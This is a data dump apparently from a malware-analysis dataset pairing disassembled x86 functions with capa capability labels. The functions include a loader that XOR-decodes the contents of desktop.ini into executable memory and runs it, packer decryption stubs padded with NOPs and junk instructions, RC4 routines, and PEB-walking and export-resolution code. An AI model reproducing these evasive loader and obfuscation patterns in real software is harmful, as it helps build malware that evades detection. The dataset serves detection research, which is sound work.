joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x408950
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
or ecx, edx
call fcn.0040896c
xor dword [ebx], esi
inc ebx
sub edx, edx
cmp ebx, edi
jne fcn.00408950
add ecx, ecx
mov ecx, edx
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x49ce7cd3
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x40544cc6
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x4f87209a
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2d983d09
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x79e55459
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data_1
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4e3c262e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10212a20
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10237754]
add eax, 0xe9a
mov dword [0x10237754], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x10212aa0
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x21], cl
mov al, byte [ebp - 0x21]
test al, 1
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], edx
jne 0x10212a5f
jmp 0x10212aa0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x28], eax
jne 0x10212b6a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10212b6a
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff5
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x2c]
cmp word [eax + ecx*2], 0x61
jne 0x10212b6a
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff6
shl eax, 1
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp word [eax], 0x64
jne 0x10212b6a
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff7
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
cmp word [eax + ecx*2], 0x64
jne 0x10212b6a
mov eax, dword [0x10237758]
add eax, 0x26b1
mov dword [0x10237758], eax
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff8
shl eax, 1
mov ecx, dword [ebp - 0x10]
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
cmp word [eax], 0x6c
jne 0x10212b6a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
mov dx, word [eax + ecx*2 - 0xe]
mov word [ebp - 0x3a], dx
mov eax, 1
mov cx, word [ebp - 0x3a]
cmp cx, 0x6c
mov dword [ebp - 0x40], eax
je 0x10212b71
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10212b71
mov eax, dword [ebp - 0x40]
add esp, 0x40
pop ebp
ret
Function at 0x10212c10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10237760], 0
mov byte [0x10237764], 0
mov dword [0x10237754], 0xcd2
mov dword [0x1023775c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10212c68
mov dword [0x1023775c], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10212c9a
mov eax, dword [ebp - 0x1c]
mov dword [0x10237754], 0x11d2
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1023775c]
add eax, 1
mov dword [0x1023775c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10212c68
jmp 0x10212c57
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10237768], 0
mov edx, dword [0x10237754]
mov esi, edx
add esi, 0xfffff4ea
mov dword [0x10237754], esi
mov esi, dword [0x10237760]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + eax]
add ebx, esi
mov dword [ebp - 0x24], eax
xor esi, esi
mov dword [ebp - 0x28], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov dword [0x10237768], ebx
mov edx, dword [ebp - 0x28]
add edx, 0xfffff1c3
mov dword [0x10237754], edx
mov eax, ebx
cdq
idiv ecx
mov dword [0x10237760], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [edi + ecx]
mov byte [0x10237764], cl
mov dword [0x10237758], 0x17dd
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov dword [0x10237754], 0x742
mov cl, byte [0x10237764]
mov ebx, dword [0x10237760]
mov byte [edi + ebx], cl
mov ebx, dword [0x1023775c]
add ebx, 1
mov dword [0x1023775c], ebx
cmp ebx, 0x100
mov dword [ebp - 0x20], ebx
jl 0x10212c9a
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10213750
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10237754], 0x26fd
mov dword [0x1023775c], 0
mov dword [0x10237760], 0
mov dword [0x1023776c], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x102138d8
xor eax, eax
mov ecx, 0x26fd
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
jmp 0x102137bd
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov edi, 0x100
add ecx, 0x78a
mov dword [0x10237754], ecx
add edx, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv edi
mov dword [0x1023775c], edx
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x10237760], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10237764], cl
mov dword [0x10237754], 0xb52
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x10237764]
mov edx, dword [0x10237760]
mov byte [edi + edx], cl
mov edx, dword [0x1023775c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10237760]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x10237754], 0x1ac5
and ebx, 0xff
mov dword [0x1023776c], ebx
mov dword [0x10237758], 0xe6b
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov dl, cl
add dl, byte [0x10237771]
mov byte [0x10237770], dl
mov byte [0x10237771], ch
mov byte [0x10237772], cl
mov dword [0x10237754], 0x120f
xor ch, cl
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x102138d6
mov eax, dword [0x10237754]
mov ecx, dword [0x1023775c]
mov edx, dword [0x10237760]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], esi
jmp 0x102137bd
jmp 0x102138d8
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102141a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
call fcn.10001080
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x102141db
jmp 0x1021430f
mov eax, dword [esp + 0x20]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
je 0x10214286
jmp 0x1021429e
lea eax, [esp + 0x38]
mov ecx, dword [0x10237754]
add ecx, 0xfffffa3e
mov dword [0x10237758], ecx
mov dword [esp + 0x18], eax
call fcn.10212a20
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x14], ecx
jne 0x10214307
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.10213390
lea ecx, [0x102132a0]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x6c], edx
mov dword [esp + 0x40], 0x12b200
mov edx, dword [0x10237740]
mov dword [esp + 0x88], edx
mov edx, dword [0x10237744]
mov dword [esp + 0x44], edx
mov edx, dword [0x10237748]
mov dword [esp + 0x80], edx
mov edx, dword [0x1023774c]
mov dword [esp + 0x3c], edx
mov edx, dword [0x10237750]
mov dword [esp + 0x60], edx
mov dword [0x10237754], 0x260
mov dword [0x10237758], 0xfffff7c0
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], ecx
jmp 0x102141c3
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
je 0x102142bf
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x10237754], 0x7ac
mov dword [esp + 0x20], eax
jmp 0x102141c3
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
lea edx, [esp + 0x38]
mov dword [esp + 0x70], eax
mov dword [0x10237754], 0x1606
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x30]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.10213c10
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x10214410
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.10213ed0
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x10237754], 0x239b
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10214542
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov bl, cl
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
mov byte [ebp - 0x43], bl
je 0x102144e5
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dl, byte [ebp - 0x42]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x43], dl
jne 0x10214489
mov al, byte [ebp - 0x43]
test al, 1
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x48], ecx
jne 0x10214516
mov eax, dword [ebp - 0x34]
add eax, 2
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
jb 0x1021446f
jmp 0x1021453b
mov eax, dword [ebp - 0x48]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x1c]
mov esi, dword [ebp - 0x1c]
add esi, dword [ecx + eax*4]
mov dword [0x10237754], 0xbb6
mov dword [ebp - 0x24], esi
jmp 0x10214542
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10214542
mov eax, dword [ebp - 0x24]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x31bc1abc
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x32b26054
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x405eb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0xc]
xor ebp, ebp
test esi, esi
je 0x405f0f
mov eax, dword [esi + 0x3c]
push ebx
push edi
mov edi, dword [eax + esi + 0x78]
add edi, esi
xor ebx, ebx
cmp dword [edi + 0x18], ebx
jbe 0x405f08
mov edi, edi
mov ecx, dword [edi + 0x20]
lea edx, [ecx + ebx*4]
mov eax, dword [edx + esi]
mov ecx, dword [esp + 0x18]
add eax, esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405f00
mov edx, dword [edi + 0x24]
lea eax, [edx + ebx*2]
movzx ecx, word [eax + esi]
mov edx, dword [edi + 0x1c]
lea eax, [edx + ecx*4]
mov ebp, dword [eax + esi]
add ebp, esi
add ebx, 1
cmp ebx, dword [edi + 0x18]
jb 0x405ed0
pop edi
pop ebx
pop esi
mov eax, ebp
pop ebp
ret
pop esi
mov eax, ebp
pop ebp
ret
Function at 0x408460
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
lea esi, [ecx + 1]
push edi
sub ecx, esi
mov edi, 4
mov dh, byte [esi + 1]
mov dl, byte [esi + 2]
mov al, byte [esi]
mov bl, byte [ecx + esi]
mov byte [ebp - 2], al
mov byte [ebp - 4], dl
xor dl, dh
mov byte [ebp - 5], dl
xor dl, al
xor dl, bl
mov byte [ebp - 3], bl
mov byte [ebp - 1], dl
add dl, dl
mov al, dl
mov byte [ebp - 6], dh
xor al, 0x1b
cmp byte [ebp - 1], 0
movzx ebx, al
movzx eax, dl
cmovge ebx, eax
mov dword [ebp - 0xc], ebx
xor bl, dh
xor bl, byte [ebp - 3]
movzx eax, bl
lea edx, [eax + eax]
mov al, dl
xor al, 0x1b
test bl, bl
movzx eax, al
mov dword [ebp - 0x10], eax
movzx eax, dl
mov edx, dword [ebp - 0x10]
cmovns edx, eax
movzx eax, dl
add eax, eax
mov ebx, eax
xor ebx, 0x1b
test dl, dl
cmovns ebx, eax
mov eax, dword [ebp - 0xc]
xor al, byte [ebp - 4]
xor al, byte [ebp - 2]
mov dword [ebp - 0xc], eax
movzx eax, al
mov dword [ebp - 0x10], ebx
lea edx, [eax + eax]
mov al, dl
xor al, 0x1b
cmp byte [ebp - 0xc], 0
movzx ebx, al
movzx eax, dl
cmovge ebx, eax
movzx eax, bl
add eax, eax
mov edx, eax
xor edx, 0x1b
test bl, bl
cmovns edx, eax
mov al, byte [ebp - 2]
xor al, byte [ebp - 3]
mov byte [ebp - 7], al
movzx eax, al
mov dword [ebp - 0xc], edx
lea edx, [eax + eax]
mov al, dl
xor al, 0x1b
cmp byte [ebp - 7], 0
movzx ebx, al
movzx eax, dl
cmovge ebx, eax
mov al, byte [ebp - 6]
xor al, byte [ebp - 2]
xor bl, byte [ebp - 0x10]
xor bl, byte [ebp - 1]
xor bl, byte [ebp - 3]
mov byte [ebp - 7], al
movzx eax, al
mov byte [ecx + esi], bl
lea edx, [eax + eax]
mov al, dl
xor al, 0x1b
cmp byte [ebp - 7], 0
lea esi, [esi + 4]
movzx ebx, al
movzx eax, dl
cmovge ebx, eax
movzx eax, byte [ebp - 5]
xor bl, byte [ebp - 0xc]
xor bl, byte [ebp - 1]
xor bl, byte [ebp - 2]
lea edx, [eax + eax]
mov byte [esi - 4], bl
mov al, dl
xor al, 0x1b
cmp byte [ebp - 5], 0
movzx ebx, al
movzx eax, dl
cmovge ebx, eax
mov al, byte [ebp - 4]
xor al, byte [ebp - 3]
xor bl, byte [ebp - 0x10]
xor bl, byte [ebp - 1]
xor bl, byte [ebp - 6]
mov byte [ebp - 7], al
movzx eax, al
mov byte [esi - 3], bl
lea edx, [eax + eax]
mov al, dl
xor al, 0x1b
cmp byte [ebp - 7], 0
movzx ebx, al
movzx eax, dl
cmovge ebx, eax
xor bl, byte [ebp - 4]
xor bl, byte [ebp - 0xc]
xor bl, byte [ebp - 1]
mov byte [esi - 2], bl
sub edi, 1
jne 0x408473
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4085d0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [edx]
push esi
mov esi, ecx
push edi
lea edi, [esi + 1]
mov dword [ebp - 4], esi
movzx eax, byte [esi + 0x1d]
lea ecx, [esi + 4]
movzx eax, byte [eax + 0x446080]
xor al, bl
xor byte [esi], al
movzx eax, byte [esi + 0x1e]
movzx eax, byte [eax + 0x446080]
xor byte [edi], al
sub edi, esi
movzx eax, byte [esi + 0x1f]
movzx eax, byte [eax + 0x446080]
xor byte [esi + 2], al
movzx eax, byte [esi + 0x1c]
movzx eax, byte [eax + 0x446080]
xor byte [esi + 3], al
mov al, bl
shr al, 7
add bl, bl
movzx eax, al
imul eax, eax, 0x1b
xor al, bl
lea ebx, [esi + 3]
mov byte [edx], al
lea edx, [esi + 2]
sub edx, esi
sub ebx, esi
mov esi, 3
nop
movzx eax, byte [ecx - 4]
lea ecx, [ecx + 4]
xor byte [ecx - 4], al
movzx eax, byte [ecx - 7]
xor byte [edi + ecx - 4], al
movzx eax, byte [ecx - 6]
xor byte [edx + ecx - 4], al
movzx eax, byte [ecx - 5]
xor byte [ebx + ecx - 4], al
sub esi, 1
jne 0x408640
mov esi, dword [ebp - 4]
movzx eax, byte [esi + 0xc]
movzx eax, byte [eax + 0x446080]
xor byte [esi + 0x10], al
movzx eax, byte [esi + 0xd]
movzx eax, byte [eax + 0x446080]
xor byte [esi + 0x11], al
movzx eax, byte [esi + 0xe]
movzx eax, byte [eax + 0x446080]
xor byte [esi + 0x12], al
movzx eax, byte [esi + 0xf]
movzx eax, byte [eax + 0x446080]
xor byte [esi + 0x13], al
lea eax, [esi + 0x14]
mov esi, 3
nop word [eax + eax]
movzx ecx, byte [eax - 4]
lea eax, [eax + 4]
xor byte [eax - 4], cl
movzx ecx, byte [eax - 7]
xor byte [eax + edi - 4], cl
movzx ecx, byte [eax - 6]
xor byte [eax + edx - 4], cl
movzx ecx, byte [eax - 5]
xor byte [eax + ebx - 4], cl
sub esi, 1
jne 0x4086b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4089e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
xor al, al
mov ebx, edx
push esi
sub ecx, 1
je 0x408a2d
sub ecx, 1
jne 0x408acc
mov esi, dword [ebp + 0xc]
push esi
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0x446180
push 0x800
push esi
call fcn.00410950
push ebx
push 0x800
push esi
call fcn.00410950
add esp, 0x18
mov al, 1
pop esi
pop ebx
pop ebp
ret 0xc
mov esi, dword [ebp + 0xc]
push 0x800
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408a43
sub ecx, edx
sar ecx, 1
sub ecx, 1
js 0x408a69
cmp word [esi + ecx*2], 0x5c
je 0x408a69
xor eax, eax
